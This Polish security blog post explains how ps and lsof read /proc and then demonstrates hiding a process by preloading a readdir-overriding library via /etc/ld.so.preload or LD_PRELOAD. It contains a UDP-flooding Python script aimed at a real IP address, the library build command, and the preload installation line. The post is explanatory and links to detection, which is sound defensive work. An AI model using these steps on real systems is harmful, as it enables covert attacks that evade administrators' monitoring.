Ukrywanie procesów dzięki ld.so.preload

nfsec.pl 1 rok temu

P

odczas wykrywania różnego rodzaju szkodliwych procesów zwykle używamy podstawowych poleceń systemowych, takich jak: ps, lsof oraz netstat (lub jego następcę ss). Dla przypomnienia: ps – wyświetla aktualne procesy w systemie; netstat – wyświetla połączenia sieciowe, tablice routingu i statystyki pakietów; lsof – listuje otwarte deskryptory plików i procesy, które je otworzyły. Polecenia te opierają się na prostej koncepcji (w systemach *nix prawie wszystko jest reprezentowane jako deskryptor pliku: pliki, katalogi, połączenia sieciowe, potoki, zdarzenia itd.) i przydają się w wielu sytuacjach. W rezultacie polecenia te mogą zobaczyć wiele rzeczy i być użyte do odpowiedzi na wiele interesujących pytań.

Na przykład: Jakie połączenia sieciowe ma proces $X? Kto łączy się z określonym punktem końcowym? Które procesy mają otwarte pliki w ścieżce /etc? Odpowiedzi na te i wiele innych pytań jest możliwe dzięki temu, iż jądro systemu Linux eksportuje wiele wewnętrznych informacji do pseudo systemu plików /proc, który można przeglądać dzięki wspomnianych poleceń. Można myśleć o nich jako interfejsach użytkownika dla informacji z /proc. De facto jeżeli spojrzymy na zawartość tego katalogu to zobaczymy kilka podkatalogów z liczbą jako nazwą (są to PID), a każdy z tych podkatalogów zawiera szczegóły określonego procesu. Wewnątrz znajduje się między innymi lista deskryptorów plików (ang. File Descriptor – FD – /proc/PID/fd) dla danego procesu; informacje o stanie procesu (/proc/PID/stat); więcej informacji w formacie łatwiejszym do analizy przez ludzi (/proc/PID/status); pełna linia poleceń dla procesu, chyba iż jest to proces zombie (/proc/PID/cmdline). Te i inne pliki zawierają wszystkie informacje, które program ps i mu podobne pokazują na wyjściu swojego wywołania:

agresor@darkstar:~$ strace ps x 2>&1 | egrep '(openat|getdents)' openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 getdents64(5, 0x556f98203fe0 /* 202 entries */, 32768) = 5232 ... openat(AT_FDCWD, "/proc/1458/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1458/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1458/cmdline", O_RDONLY) = 6 getdents64(5, 0x556f98203fe0 /* 0 entries */, 32768) = 0

Ten kawałek przechwycenia wywołań systemowych doskonale pokazuje, jak działa ps: na początku otwierany jest katalog /proc przez wywołanie systemowe openat(). Następnie proces wywołuje getdents() w otwartym katalogu, co jest wywołaniem systemowym zwracającym listę plików / katalogów zawartych w określonym katalogu (tutaj /proc). Warto wiedzieć (co będzie przydatne w dalszej części), iż sam program ps nie wywołuje bezpośrednio funkcji openat() i getdents(), ponieważ są to wywołania systemowe, które są abstrakcjami standardowej biblioteki C (libc). jeżeli kiedykolwiek przeczytaliśmy dokumentację libc to wiemy, iż biblioteka ta udostępnia dwie różne funkcje: opendir() oraz readdir(), które same zajmują się wykonywaniem wywołań systemowych, zapewniając nieco prostsze API dla programisty. Tak więc te ostatnie są funkcjami wywoływanymi bezpośrednio z ps. Dlatego spoglądać na to wszystko wysokopoziomowo rysuje się nam obraz:

[ lsof ] ---| poproszę o informacje odnośnie procesu/ów |---> [ /proc ] [ /proc ] ---| to są informacje o które prosiłeś |-----------> [ lsof ] [ lsof ] ---| przefiltrowane informacje o które prosiłaś |--> [ konsola ]

Większość z narzędzi linuksowych, których używamy na co dzień w administracji systemem działa dokładnie w ten sam sposób. Można więc o nich pomyśleć jako przyjaznych dla użytkownika interfejsach dla informacji z /proc:

root@stardust:~# lsof -p 799 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME haveged 799 root cwd DIR 8,2 4096 2 / haveged 799 root rtd DIR 8,2 4096 2 / haveged 799 root txt REG 8,5 23144 525321 /usr/sbin/haveged haveged 799 root mem REG 8,2 2029592 452 /lib/x86_64-linux-gnu/libc-2.31.so haveged 799 root mem REG 8,5 96336 394868 /lib/x86_64-linux-gnu/libhavege.so.1 haveged 799 root mem REG 8,2 191504 426 /lib/x86_64-linux-gnu/ld-2.31.so haveged 799 root 0r CHR 1,3 0t0 6 /dev/null haveged 799 root 1u unix 0x0000000 0t0 19955 type=STREAM haveged 799 root 2u unix 0x0000000 0t0 19955 type=STREAM haveged 799 root 3u CHR 1,8 0t0 17 /dev/random

Skoro już mniej więcej wiemy, jak działa translacja informacji pomiędzy poszczególnymi narzędziami, a informacjami z systemu naszym celem będzie ukrycie prostego, ale złośliwego skryptu napisanego w języku Python. Będzie on obciążać procesor (przynajmniej jeden rdzeń) oraz wysyłać pakiety UDP do wybranej ofiary:

#!/usr/bin/python3 import socket import sys def send_traffic(ip, port): print(f"Sending burst to {ip} on port: {port}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect((ip, port)) while True: try: sock.send("I AM A BAD BOY".encode('utf-8')) except ConnectionRefusedError: print(f"Connection refused to: {ip} on port: {port}") if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " IP PORT") sys.exit() send_traffic(sys.argv[1], int(sys.argv[2]))

Czas na uruchomienie skryptu i sprawdzenie jego działania:

agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2>&1 &

Potwierdźmy teraz, iż proces chodzi w tle i utylizuje przynajmniej jeden rdzeń:

agresor@darkstar:~$ ps ux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1358 99.1 0.2 17448 9484 pts/0 R 21:00 9:49 /usr/bin/python3 ./evil.py

Możemy również spojrzeć na połączenia sieciowe otwarte przez proces dzięki lsof:

agresor@darkstar:~$ lsof -i 4 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME evil.py 1358 agresor 3u IPv4 25104 0t0 UDP darkstar:50337->nfsec.pl:domain

Ukrywanie procesu:

Biblioteki w systemie Linux są zbiorem skompilowanych funkcji. Możemy korzystać z tych funkcji w programach bez przepisywania tej funkcjonalności. Osiągamy to najczęściej poprzez włączenie kodu biblioteki do naszego programu (biblioteka statyczna – ang. static library) lub poprzez dynamiczne łączenie w czasie wykonywania (biblioteka współdzielona – ang. shared library). Korzystając z bibliotek statycznych możemy budować samodzielne programy. Z drugiej strony programy zbudowane przy użyciu współdzielonych bibliotek wymagają wsparcia linkera (konsolidatora) / programu ładującego w czasie wykonywania. Powoduje to załadowanie wszystkich wymaganych bibliotek przed wykonaniem programu. Linker posiada jeszcze jedną funkcję zwaną wstępnym ładowaniem (ang. preloading) – dzięki niech mechanizm konsolidatora jest tak uprzejmy, iż daje nam możliwość załadowania niestandardowej biblioteki współdzielonej przed załadowaniem innych bibliotek systemowych i tych wymaganych przez program. Oznacza to, iż jeżeli biblioteka niestandardowa wyeksportuje funkcję pod taką samą sygnaturą jak ta, którą można znaleźć w bibliotece systemowej to jesteśmy dosłownie w stanie zastąpić ją niestandardowym kodem z naszej biblioteki, a wszystkie uruchamiane programy automatycznie wybiorą nasz niestandardowy kod. Dlatego, jeżeli napiszemy bibliotekę, która zastępuje wywołanie readdir() biblioteki libc i za każdym razem kiedy zobaczy wybrany proces przefiltruje informacje o nim – będziemy w stanie ukrywać jego aktywność. Przykład takiej biblioteki możemy pobrać z serwisu github. Wystarczy w odpowiedniej linii edytować jaki proces chcemy ukryć:

static const char* process_to_filter = "evil.py";

Kolejnym krokiem jest kompilacja biblioteki i „poproszenie” systemu, aby ładował ją w procesie poprzedzającym inne biblioteki:

agresor@darkstar:~$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl agresor@darkstar:~$ sudo mv libprocesshider.so /usr/local/lib/ root@darkstar:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Od tego momentu każdy nowy proces, który zostanie uruchomiony w systemie będzie wykonywał niestandardowy kod z tej biblioteki podczas iteracji przez katalogi /proc dzięki funkcji readdir(). Wróćmy więc i spróbujmy wykonać ponownie polecenia ps i lsof podczas działania skryptu evil.py:

agresor@darkstar:~$ ps ux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 8884 5620 pts/0 Ss 19:53 0:00 -bash agresor 1777 0.0 0.0 10088 1592 pts/0 R+ 20:35 0:00 ps ux

Połączenia sieciowe:

agresor@darkstar:~$ lsof -i 4 agresor@darkstar:~$

Teraz nasz szkodliwy proces jest niewidoczny, choćby gdy polecenia do przeszukiwania procesów są uruchamiane z prawami administratora. Takie narzędzia jak: pstree, top, czy htop również nie pokazują na swojej liście skryptu evil.py. Analogicznie sprawa będzie wyglądała jeżeli ustawimy danemu użytkownikowi zmienną LD_PRELOAD:

agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2<&1 & [1] 1814 agresor@darkstar:~$ ps xu USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 9144 5892 pts/0 Ss 19:53 0:00 -bash agresor 1814 107 0.2 17452 9364 pts/0 R 20:47 0:03 /usr/bin/python3 ./evil.py agresor 1815 0.0 0.0 10068 1572 pts/0 R+ 20:47 0:00 ps xu agresor@darkstar:~$ export LD_PRELOAD=/usr/local/lib/libprocesshider.so agresor@darkstar:~$ ps xu USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 9144 5976 pts/0 Ss 19:53 0:00 -bash agresor 1863 0.0 0.0 10088 1604 pts/0 R+ 20:47 0:00 ps xu

Co interesujące technika ta jest często stosowana przez różnego rodzaju botnety kopiące kryptowaluty. W artykule wykrywanie ukrytych procesów dzięki libprocesshider.so został opisany prosty mechanizm na podstawie skryptu w języku python umożliwiający wykrywanie ukrytych procesów dzięki tej techniki.

Więcej informacji: proc, Sysdig for ps, lsof, netstat + time travel, Hiding Linux processes for fun + profit, Linux Attack Techniques: Dynamic Linker Hijacking with LD Preload

Idź do oryginalnego materiału